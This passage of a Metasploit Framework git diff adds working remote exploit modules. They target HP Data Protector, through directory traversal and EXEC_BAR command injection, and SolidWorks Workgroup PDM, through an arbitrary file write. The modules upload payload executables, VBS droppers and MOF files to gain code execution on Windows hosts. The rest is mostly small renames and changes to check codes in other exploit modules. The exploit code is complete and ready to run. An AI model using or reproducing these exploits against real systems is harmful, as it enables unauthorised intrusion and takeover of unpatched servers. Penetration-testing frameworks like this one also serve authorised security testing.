+        fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
+      end
+      print_status("#{peer} - Exploiting through Powershell...")
+      exec_bar(datastore['CMDPATH'], command, "\x00")
+    end
+  end
+
+  def peer
+    "#{rhost}:#{rport}"
+  end
+
+  def build_pkt(fields)
+    data = "\xff\xfe" # BOM Unicode
+    fields.each do |v|
+      data << "#{Rex::Text.to_unicode(v)}\x00\x00"
+      data << Rex::Text.to_unicode(" ") # Separator
+    end
+
+    data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
+    return [data.length].pack("N") + data
+  end
+
+  def get_fingerprint
+    ommni = connect
+    ommni.put(rand_text_alpha_upper(64))
+    resp = ommni.get_once(-1)
+    disconnect
+
+    if resp.nil?
+      return nil
+    end
+
+    Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null
+  end
+
+  def exec_bar(cmd, *args)
+    connect
+    pkt = build_pkt([
+      "2", # Message Type
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      "11", # Opcode EXEC_BAR
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      "#{cmd}", # Executable
+      rand_text_alpha(8)
+    ].concat(args))
+    sock.put(pkt)
+    # In my testings the default timeout (10) isn't enough
+    begin
+      res = sock.get_once(-1, 20)
+    rescue EOFError # happens when using the Powershell method
+      disconnect
+      return
+    end
+    fail_with(Failure::Unknown, "#{peer} - Expected answer not received... aborting...") unless exec_bar?(res)
+    disconnect
+  end
+
+  def exec_bar?(data)
+    return false if data.blank?
+    data_unpacked = data.unpack("NnVv")
+    data_unpacked.length == 4 && data_unpacked[0] == 8 && data_unpacked[1] == 0xfffe && data_unpacked[2] == 0x36 && data_unpacked[3] == 0
+  end
+
+  def execute_command(cmd, opts = {})
+    exec_bar(datastore['CMDPATH'], "/c #{cmd}", "\x00")
+  end
+
+  def get_vbs_string(str)
+    vbs_str = ""
+    str.each_byte { |b|
+      vbs_str << "Chr(#{b})+"
+    }
+
+    return vbs_str.chomp("+")
+  end
+
+  # Make the modifications required to the specific encoder
+  # This exploit uses an specific encoder because quotes (")
+  # aren't allowed when injecting commands
+  def execute_cmdstager_begin(opts)
+    var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
+    var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
+    decoded_file = "#{var_decoded}.exe"
+    encoded_file = "#{var_encoded}.b64"
+    @cmd_list.each do |command|
+      # Because the exploit kills cscript processes to speed up and reliability
+      command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
+      command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
+      command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
+    end
+  end
+
+end
diff --git a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb
new file mode 100644
index 0000000000..f0d9dcdcd3
--- /dev/null
+++ b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb
@@ -0,0 +1,157 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = GreatRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::EXE
+  include Msf::Exploit::WbemExec
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'HP Data Protector Backup Client Service Directory Traversal',
+      'Description'    => %q{
+        This module exploits a directory traversal vulnerability in the Hewlett-Packard Data
+        Protector product. The vulnerability exists in the Backup Client Service (OmniInet.exe)
+        and is triggered when parsing packets with opcode 42. This module has been tested
+        successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows XP SP3.
+      },
+      'Author'         =>
+        [
+          'Brian Gorenc', # Vulnerability discovery
+          'juan vazquez' # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'CVE', '2013-6194' ],
+          [ 'OSVDB', '101630' ],
+          [ 'BID', '64647' ],
+          [ 'ZDI', '14-003' ],
+          [ 'URL' , 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ]
+        ],
+      'Privileged'     => true,
+      'Payload'        =>
+        {
+          'Space'       => 2048, # Payload embedded into an exe
+          'DisableNops' => true
+        },
+      'DefaultOptions'  =>
+        {
+          'WfsDelay' => 5
+        },
+      'Platform'        => 'win',
+      'Targets'         =>
+        [
+          [ 'HP Data Protector 6.20 build 370 / Windows 2003 SP2', { } ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Jan 02 2014'))
+
+    register_options([Opt::RPORT(5555)], self.class)
+  end
+
+  def check
+    fingerprint = get_fingerprint
+
+    if fingerprint.nil?
+      return Exploit::CheckCode::Unknown
+    end
+
+    print_status("#{peer} - HP Data Protector version #{fingerprint}")
+
+    if fingerprint =~ /HP Data Protector A\.06\.(\d+)/
+      minor = $1.to_i
+    else
+      return Exploit::CheckCode::Safe
+    end
+
+    if minor < 21
+      return Exploit::CheckCode::Vulnerable
+    elsif minor == 21
+      return Exploit::CheckCode::Detected
+    else
+      return Exploit::CheckCode::Detected
+    end
+
+  end
+
+  def exploit
+    # Setup the necessary files to do the wbemexec trick
+    vbs_name = rand_text_alpha(rand(10)+5) + '.vbs'
+    exe      = generate_payload_exe
+    vbs      = Msf::Util::EXE.to_exe_vbs(exe)
+    mof_name = rand_text_alpha(rand(10)+5) + '.mof'
+    mof      = generate_mof(mof_name, vbs_name)
+
+    # We can't upload binary contents, so embedding the exe into a VBS.
+    print_status("#{peer} - Sending malicious packet with opcode 42 to upload the vbs payload #{vbs_name}...")
+    upload_file("windows\\system32\\#{vbs_name}", vbs)
+    register_file_for_cleanup(vbs_name)
+
+    print_status("#{peer} - Sending malicious packet with opcode 42 to upload the mof file #{mof_name}")
+    upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
+    register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
+  end
+
+  def peer
+    "#{rhost}:#{rport}"
+  end
+
+  def build_pkt(fields)
+    data = "\xff\xfe" # BOM Unicode
+    fields.each do |v|
+      data << "#{Rex::Text.to_unicode(v)}\x00\x00"
+      data << Rex::Text.to_unicode(" ") # Separator
+    end
+
+    data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
+    return [data.length].pack("N") + data
+  end
+
+  def get_fingerprint
+    ommni = connect
+    ommni.put(rand_text_alpha_upper(64))
+    resp = ommni.get_once(-1)
+    disconnect
+
+    if resp.nil?
+      return nil
+    end
+
+    return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl
+  end
+
+  def upload_file(file_name, contents)
+    connect
+    pkt = build_pkt([
+      "2", # Message Type
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      rand_text_alpha(8),
+      "42", # Opcode
+      rand_text_alpha(8), # command
+      rand_text_alpha(8), # rissServerName
+      rand_text_alpha(8), # rissServerPort
+      "\\..\\..\\..\\..\\..\\#{file_name}", # rissServerCertificate
+      contents # Certificate contents
+    ])
+    sock.put(pkt)
+    sock.get_once
+    # You cannot be confident about the response to guess if upload
+    # has been successful or not. While testing, different result codes,
+    # including also no response because of timeout due to a process
+    # process execution after file write on the target
+    disconnect
+  end
+
+end
diff --git a/modules/exploits/windows/misc/hp_omniinet_1.rb b/modules/exploits/windows/misc/hp_omniinet_1.rb
index a4e7ce8675..172c557a1b 100644
--- a/modules/exploits/windows/misc/hp_omniinet_1.rb
+++ b/modules/exploits/windows/misc/hp_omniinet_1.rb
@@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote
       major = version[1].to_i
       minor = version[2].to_i
       if ((major < 6) or (major == 6 and minor < 11))
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       end
 
       if ((major > 6) or (major == 6 and minor >= 11))
diff --git a/modules/exploits/windows/misc/hp_omniinet_2.rb b/modules/exploits/windows/misc/hp_omniinet_2.rb
index f4e4a98f9a..cbd30cab80 100644
--- a/modules/exploits/windows/misc/hp_omniinet_2.rb
+++ b/modules/exploits/windows/misc/hp_omniinet_2.rb
@@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote
       major = version[1].to_i
       minor = version[2].to_i
       if ((major < 6) or (major == 6 and minor < 11))
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       end
 
       if ((major > 6) or (major == 6 and minor >= 11))
diff --git a/modules/exploits/windows/misc/hp_omniinet_3.rb b/modules/exploits/windows/misc/hp_omniinet_3.rb
index d4d43993a6..08fe7d3201 100644
--- a/modules/exploits/windows/misc/hp_omniinet_3.rb
+++ b/modules/exploits/windows/misc/hp_omniinet_3.rb
@@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
       major = version[1].to_i
       minor = version[2].to_i
       if ((major < 6) or (major == 6 and minor < 11))
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       end
 
       if ((major > 6) or (major == 6 and minor >= 11))
diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb
index 6c932d6167..8f560dc3ed 100644
--- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb
+++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb
@@ -82,6 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
     res = ping
 
     if not res
+      vprint_error("No response from target")
       return Exploit::CheckCode::Unknown
     end
 
@@ -92,9 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote
     if res =~ /server:.*coda 11.(\d+)/
       minor = $1.to_i
       if minor < 2
-        return Exploit::CheckCode::Vulnerable
-      else
-        return Exploit::CheckCode::Safe
+        return Exploit::CheckCode::Appears
       end
     end
 
diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb
index 849b526a0e..636f877c8a 100644
--- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb
+++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb
@@ -82,6 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
     res = ping
 
     if not res
+      vprint_error("No response from target")
       return Exploit::CheckCode::Unknown
     end
 
@@ -92,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote
     if res =~ /server:.*coda 11.(\d+)/
       minor = $1.to_i
       if minor < 2
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       else
         return Exploit::CheckCode::Safe
       end
diff --git a/modules/exploits/windows/misc/lianja_db_net.rb b/modules/exploits/windows/misc/lianja_db_net.rb
index d8956c5a00..cd13ef95d9 100644
--- a/modules/exploits/windows/misc/lianja_db_net.rb
+++ b/modules/exploits/windows/misc/lianja_db_net.rb
@@ -54,7 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote
     begin
       connect
     rescue
-      return Exploit::CheckCode::Safe
+      vprint_error("Unable to connect")
+      return Exploit::CheckCode::Unknown
     end
     sock.put("db_net")
     if sock.recv(4) =~ /\d{1,5}/
diff --git a/modules/exploits/windows/misc/mercury_phonebook.rb b/modules/exploits/windows/misc/mercury_phonebook.rb
index 92a3f13b15..8b6c034d71 100644
--- a/modules/exploits/windows/misc/mercury_phonebook.rb
+++ b/modules/exploits/windows/misc/mercury_phonebook.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Mercury/32 <= v4.01b PH Server Module Buffer Overflow',
+      'Name'           => 'Mercury/32 PH Server Module Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in
         Mercury/32 <= v4.01b PH Server Module. This issue is
diff --git a/modules/exploits/windows/misc/mirc_privmsg_server.rb b/modules/exploits/windows/misc/mirc_privmsg_server.rb
index b76e91df8f..0f7ba57388 100644
--- a/modules/exploits/windows/misc/mirc_privmsg_server.rb
+++ b/modules/exploits/windows/misc/mirc_privmsg_server.rb
@@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'mIRC <= 6.34 PRIVMSG Handling Stack Buffer Overflow',
+      'Name'           => 'mIRC PRIVMSG Handling Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier.
         By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG
diff --git a/modules/exploits/windows/misc/ms07_064_sami.rb b/modules/exploits/windows/misc/ms07_064_sami.rb
index ee906c7f77..91ce478839 100644
--- a/modules/exploits/windows/misc/ms07_064_sami.rb
+++ b/modules/exploits/windows/misc/ms07_064_sami.rb
@@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft DirectX DirectShow SAMI Buffer Overflow',
+      'Name'           => 'MS07-064 Microsoft DirectX DirectShow SAMI Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the DirectShow Synchronized
         Accessible Media Interchanged (SAMI) parser in quartz.dll. This module
diff --git a/modules/exploits/windows/misc/ms10_104_sharepoint.rb b/modules/exploits/windows/misc/ms10_104_sharepoint.rb
index f42f087f30..1060f2a579 100644
--- a/modules/exploits/windows/misc/ms10_104_sharepoint.rb
+++ b/modules/exploits/windows/misc/ms10_104_sharepoint.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize
     super(
-      'Name'        => 'Microsoft Office SharePoint Server 2007 Remote Code Execution',
+      'Name'        => 'MS10-104 Microsoft Office SharePoint Server 2007 Remote Code Execution',
       'Description'    => %q{
           This module exploits a vulnerability found in SharePoint Server 2007 SP2. The
         software contains a directory traversal, that allows a remote attacker to write
diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb
index 048e1bc805..3166002870 100644
--- a/modules/exploits/windows/misc/poisonivy_bof.rb
+++ b/modules/exploits/windows/misc/poisonivy_bof.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => "Poison Ivy 2.3.2 C&C Server Buffer Overflow",
+      'Name'           => "Poison Ivy Server Buffer Overflow",
       'Description'    => %q{
         This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
         The exploit does not need to know the password chosen for the bot/server
@@ -113,11 +113,12 @@ class Metasploit3 < Msf::Exploit::Remote
 
     if datalen == lensig
       if response[0, 16] == sig
-        print_status("Password appears to be \"admin\"")
+        vprint_status("Password appears to be \"admin\"")
+        return Exploit::CheckCode::Appears
       else
-        print_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
+        vprint_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
+        return Exploit::CheckCode::Detected
       end
-      return Exploit::CheckCode::Vulnerable
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb
index f85d380c6e..0a850239d3 100644
--- a/modules/exploits/windows/misc/psh_web_delivery.rb
+++ b/modules/exploits/windows/misc/psh_web_delivery.rb
@@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'License'	 => MSF_LICENSE,
       'Author'	 =>
         [
-          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
+          'Ben Campbell',
           'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
         ],
       'References'	 =>
diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb
new file mode 100644
index 0000000000..25ed303ca5
--- /dev/null
+++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb
@@ -0,0 +1,150 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = GoodRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::EXE
+  include Msf::Exploit::WbemExec
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'           => 'SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write',
+      'Description'    => %q{
+        This module exploits a remote arbitrary file write vulnerability in
+        SolidWorks Workgroup PDM 2014 SP2 and prior.
+
+        For targets running Windows Vista or newer the payload is written to the
+        startup folder for all users and executed upon next user logon.
+
+        For targets before Windows Vista code execution can be achieved by first
+        uploading the payload as an exe file, and then upload another mof file,
+        which schedules WMI to execute the uploaded payload.
+
+        This module has been tested successfully on SolidWorks Workgroup PDM
+        2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN).
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Mohamed Shetta <mshetta[at]live.com>', # Initial discovery and PoC
+          'Brendan Coles <bcoles[at]gmail.com>',  # Metasploit
+        ],
+      'References'     =>
+        [
+          ['EDB',   '31831'],
+          ['OSVDB', '103671']
+        ],
+      'Payload'        =>
+        {
+          'BadChars'   => "\x00"
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          # Tested on:
+          # - SolidWorks Workgroup PDM 2011 SP0 (Windows XP SP3 - EN)
+          # - SolidWorks Workgroup PDM 2011 SP0 (Windows 7 SP1 - EN)
+          ['Automatic', { 'auto' => true } ], # both
+          ['SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)', {}],
+          ['SolidWorks Workgroup PDM <= 2014 SP2 (Windows Vista onwards)', {}],
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'Feb 22 2014',
+      'DefaultTarget'  => 0))
+
+    register_options([
+      OptInt.new('DEPTH', [true, 'Traversal depth', 10]),
+      Opt::RPORT(30000)
+    ], self.class)
+  end
+
+  def peer
+    "#{rhost}:#{rport}"
+  end
+
+  #
+  # Check
+  #
+  def check
+    # op code
+    req  = "\xD0\x07\x00\x00"
+    # filename length
+    req << "\x00\x00\x00\x00"
+    # data length
+    req << "\x00\x00\x00\x00"
+    connect
+    sock.put req
+    res = sock.get_once
+    disconnect
+    if !res
+      vprint_error "#{peer} - Connection failed."
+      Exploit::CheckCode::Unknown
+    elsif res == "\x00\x00\x00\x00"
+      vprint_status "#{peer} - Received reply (#{res.length} bytes)"
+      Exploit::CheckCode::Detected
+    else
+      vprint_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
+      Exploit::CheckCode::Safe
+    end
+  end
+
+  #
+  # Send a file
+  #
+  def upload(fname, data)
+    # every character in the filename must be followed by 0x00
+    fname = fname.scan(/./).join("\x00") + "\x00"
+    # op code
+    req  = "\xD0\x07\x00\x00"
+    # filename length
+    req << "#{[fname.length].pack('l')}"
+    # file name
+    req << "#{fname}"
+    # data length
+    req << "#{[data.length].pack('l')}"
+    # data
+    req << "#{data}"
+    connect
+    sock.put req
+    res = sock.get_once
+    disconnect
+    if !res
+      fail_with(Failure::Unknown, "#{peer} - Connection failed.")
+    elsif res == "\x00\x00\x00\x00"
+      print_status "#{peer} - Received reply (#{res.length} bytes)"
+    else
+      print_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
+    end
+  end
+
+  #
+  # Exploit
+  #
+  def exploit
+    depth    = '..\\' * datastore['DEPTH']
+    exe      = generate_payload_exe
+    exe_name = "#{rand_text_alpha(rand(10) + 5)}.exe"
+    if target.name =~ /Automatic/ or target.name =~ /Vista/
+      print_status("#{peer} - Writing EXE to startup for all users (#{exe.length} bytes)")
+      upload("#{depth}\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\#{exe_name}", exe)
+    end
+    if target.name =~ /Automatic/ or target.name =~ /XP/
+      print_status("#{peer} - Sending EXE (#{exe.length} bytes)")
+      upload("#{depth}\\WINDOWS\\system32\\#{exe_name}", exe)
+      mof_name = "#{rand_text_alpha(rand(10) + 5)}.mof"
+      mof      = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
+      print_status("#{peer} - Sending MOF (#{mof.length} bytes)")
+      upload("#{depth}\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
+      register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
+    end
+    register_file_for_cleanup("#{::File.basename(exe_name)}")
+  end
+end
diff --git a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb
index 65095d3ff2..136f09c211 100644
--- a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb
+++ b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => "TrendMicro Control Manger <= v5.5 CmdProcessor.exe Stack Buffer Overflow",
+      'Name'           => "TrendMicro Control Manger CmdProcessor.exe Stack Buffer Overflow",
       'Description'    => %q{
           This module exploits a vulnerability in the CmdProcessor.exe component of Trend
         Micro Control Manger up to version 5.5.
diff --git a/modules/exploits/windows/misc/wireshark_packet_dect.rb b/modules/exploits/windows/misc/wireshark_packet_dect.rb
index a215ba4b48..b3a318e69a 100644
--- a/modules/exploits/windows/misc/wireshark_packet_dect.rb
+++ b/modules/exploits/windows/misc/wireshark_packet_dect.rb
@@ -12,10 +12,10 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (remote)',
+      'Name'           => 'Wireshark packet-dect.c Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Wireshark <= 1.4.4
-        by sending an malicious packet.)
+        by sending an malicious packet.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/mssql/ms02_039_slammer.rb b/modules/exploits/windows/mssql/ms02_039_slammer.rb
index b136c46864..8f2f2f6cf4 100644
--- a/modules/exploits/windows/mssql/ms02_039_slammer.rb
+++ b/modules/exploits/windows/mssql/ms02_039_slammer.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft SQL Server Resolution Overflow',
+      'Name'           => 'MS02-039 Microsoft SQL Server Resolution Overflow',
       'Description'    => %q{
           This is an exploit for the SQL Server 2000 resolution
         service buffer overflow. This overflow is triggered by
diff --git a/modules/exploits/windows/mssql/ms02_056_hello.rb b/modules/exploits/windows/mssql/ms02_056_hello.rb
index 6982305c0f..bf4e705038 100644
--- a/modules/exploits/windows/mssql/ms02_056_hello.rb
+++ b/modules/exploits/windows/mssql/ms02_056_hello.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft SQL Server Hello Overflow',
+      'Name'           => 'MS02-056 Microsoft SQL Server Hello Overflow',
       'Description'    => %q{
           By sending malformed data to TCP port 1433, an
         unauthenticated remote attacker could overflow a buffer and
diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb
index 7db69b1d4d..e7ecba856b 100644
--- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb
+++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def initialize(info = {})
 
     super(update_info(info,
-      'Name'           => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
+      'Name'           => 'MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
       'Description'    => %q{
           A heap-based buffer overflow can occur when calling the undocumented
         "sp_replwritetovarbin" extended stored procedure. This vulnerability affects
@@ -262,14 +262,14 @@ class Metasploit3 < Msf::Exploit::Remote
     print_status("@@version returned:\n\t" + version)
 
     # Any others?
-    return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/)
+    return Exploit::CheckCode::Appears if (version =~ /8\.00\.194/)
+    return Exploit::CheckCode::Appears if (version =~ /8\.00\.384/)
+    return Exploit::CheckCode::Appears if (version =~ /8\.00\.534/)
+    return Exploit::CheckCode::Appears if (version =~ /8\.00\.760/)
+    return Exploit::CheckCode::Appears if (version =~ /8\.00\.2039/)
+    return Exploit::CheckCode::Appears if (version =~ /9\.00\.1399\.06/)
+    return Exploit::CheckCode::Appears if (version =~ /9\.00\.2047\.00/)
+    return Exploit::CheckCode::Appears if (version =~ /9\.00\.3042\.00/)
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb
index a3f7954ea0..075012b678 100644
--- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb
+++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def initialize(info = {})
 
     super(update_info(info,
-      'Name'           => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection',
+      'Name'           => 'MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection',
       'Description'    => %q{
           A heap-based buffer overflow can occur when calling the undocumented
         "sp_replwritetovarbin" extended stored procedure. This vulnerability affects
@@ -264,14 +264,14 @@ class Metasploit3 < Msf::Exploit::Remote
     print_status("@@version returned:\n\t" + version)
 
     # Any others?
-    return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/)
-    return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/)
+    return Exploit::CheckCode::Appears if (version =~ /8\.00\.194/)
+    return Exploit::CheckCode::Appears if (version =~ /8\.00\.384/)
+    return Exploit::CheckCode::Appears if (version =~ /8\.00\.534/)
+    return Exploit::CheckCode::Appears if (version =~ /8\.00\.760/)
+    return Exploit::CheckCode::Appears if (version =~ /8\.00\.2039/)
+    return Exploit::CheckCode::Appears if (version =~ /9\.00\.1399\.06/)
+    return Exploit::CheckCode::Appears if (version =~ /9\.00\.2047\.00/)
+    return Exploit::CheckCode::Appears if (version =~ /9\.00\.3042\.00/)
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
index 121bb1b81a..0d03a237e8 100644
--- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
+++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
@@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
     datastore['RPORT'] = tmp_rport
     if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
       res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/nntp/ms05_030_nntp.rb b/modules/exploits/windows/nntp/ms05_030_nntp.rb
index 4d3c9a5075..97f6baf257 100644
--- a/modules/exploits/windows/nntp/ms05_030_nntp.rb
+++ b/modules/exploits/windows/nntp/ms05_030_nntp.rb
@@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',
+      'Name'           => 'MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the news reader of Microsoft
         Outlook Express.
diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb
index 8365e94ac2..7f485d3c94 100644
--- a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb
